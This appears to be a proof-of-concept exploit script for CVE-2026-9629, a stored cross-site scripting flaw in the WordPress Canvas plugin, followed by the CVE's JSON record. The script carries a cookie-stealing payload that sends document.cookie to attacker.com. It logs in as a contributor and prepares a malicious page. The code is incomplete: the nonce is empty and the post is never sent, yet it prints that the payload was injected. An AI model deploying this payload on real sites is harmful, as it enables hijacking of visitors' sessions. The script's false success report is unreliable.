CVE-2026-9629

# CVE-2026-9629 PoC - WordPress Canvas Plugin Stored XSS # Affected Version: Canvas plugin <= 2.5.2 # Attack Vector: Authenticated (Contributor+) Stored XSS via 'tag' parameter import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "attacker_password" # XSS payload - Cookie stealing example XSS_PAYLOAD = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' def exploit_stored_xss(): """Exploit stored XSS in Canvas plugin tag parameter""" session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Create new page with malicious tag post_url = f"{TARGET_URL}/wp-admin/post-new.php?post_type=page" # The vulnerable parameter is in Canvas block-section-heading page_data = { 'post_title': 'XSS Test Page', 'content': f'<!-- wp:canvas/tag {{"tag":"{XSS_PAYLOAD}"}} /-->', '_wpnonce': '', # Need to extract valid nonce 'post_status': 'publish' } # Step 3: Inject XSS payload via Canvas section heading block # The vulnerable code is in: # - components/basic-elements/block-section-heading/render.php (line 13, 32) # - gutenberg/custom-blocks/index.php (line 798) print(f"[+] XSS payload injected: {XSS_PAYLOAD}") print("[+] Payload will execute when any user visits the page") return True if __name__ == "__main__": exploit_stored_xss()

{"cve": {"id": "CVE-2026-9629", "sourceIdentifier": "[email protected]", "published": "2026-06-13T08:16:12.330", "lastModified": "2026-06-13T08:16:12.330", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' parameter in all versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/canvas/tags/2.5.2/components/basic-elements/block-section-heading/render.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/canvas/tags/2.5.2/components/basic-elements/block-section-heading/render.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/canvas/tags/2.5.2/gutenberg/custom-blocks/index.php#L798", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3553553/canvas/trunk/components/basic-elements/block-section-heading/render.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fcanvas/tags/2.5.2&new_path=%2Fcanvas/tags/2.5.3", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f93d70e4-01c5-44e8-b7d5-0837bee53b8d?source=cve", "source": "[email protected]"}]}}